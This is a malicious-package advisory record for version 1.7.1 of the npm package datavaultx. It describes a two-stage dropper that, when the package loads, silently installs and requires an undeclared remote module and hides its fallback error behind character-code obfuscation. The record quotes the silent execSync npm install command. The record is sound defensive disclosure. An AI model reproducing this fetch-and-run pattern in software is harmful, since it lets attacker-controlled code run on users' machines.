{"id":"MAL-2026-10460","summary":"Malicious code in datavaultx (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (bbf831f155eb2a6d04427e5cc3cd239055844e80c3b02576a5d546e4e7ab42b6)\nOn require of the package's main entry (auth.js -\u003e lib/writer.js), the module attempts require('auth-gen-next'); on failure it invokes execSync('npm install auth-gen-next --no-warnings --no-save --no-progress --loglevel silent') and then requires the freshly installed module from../../auth-gen-next/index.js. The fetched package is not declared in this package's dependencies, so its contents are entirely attacker-controlled and can change at any time without a datavaultx release. lib/writer.js additionally constructs a cover-story error string ('Error: This environment is not supported...') via a long chain of String.fromCharCode calls, shown only if the silent install fails. The suppressed logging, undeclared dependency, and character-code obfuscation of the failure message together indicate a two-stage dropper design in which the visible package is a thin shim that pulls its real payload from a separately-published module at load time.\n","modified":"2026-07-13T18:16:56.880055764Z","published":"2026-07-13T17:37:30Z","database_specific":{"malicious-packages-origins":[{"modified_time":"2026-07-13T17:37:30Z","sha256":"bbf831f155eb2a6d04427e5cc3cd239055844e80c3b02576a5d546e4e7ab42b6","source":"amazon-inspector","versions":["1.7.1"],"id":"IN-MAL-2026-010270","import_time":"2026-07-13T18:10:12.402137474Z"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/datavaultx/v/1.7.1"}],"affected":[{"package":{"name":"datavaultx","ecosystem":"npm","purl":"pkg:npm/datavaultx"},"versions":["1.7.1"],"database_specific":{"cwes":[{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"}],"indicators":{"evidence_files":[{"sha256":"15546fe933b3a0b14b342e6edad047c5b9e64d75f898025d28f64abacb7cc50f","tlsh":"7231aed78245a278f7716aa20e1f64c0b186d12521507dcc7ffc44d677ab4e04e98fda","path":"lib/writer.js"}],"package_integrity":[{"filename":"datavaultx-1.7.1.tgz","hashes":{"sha512_sri":"sha512-KVzC/N+zoBBJCIgvMVG3o+t8K2Z4H/Bd4LKJ9QJwxLr0ZKNofiqgoUNzxAEBqiuYhatg5wKMEx1rt+QMwXeLZQ==","sha1":"55c873eaa153b591b15e2c727badee9557f5b3b6"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/datavaultx/MAL-2026-10460.json"}}],"schema_version":"1.7.5","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}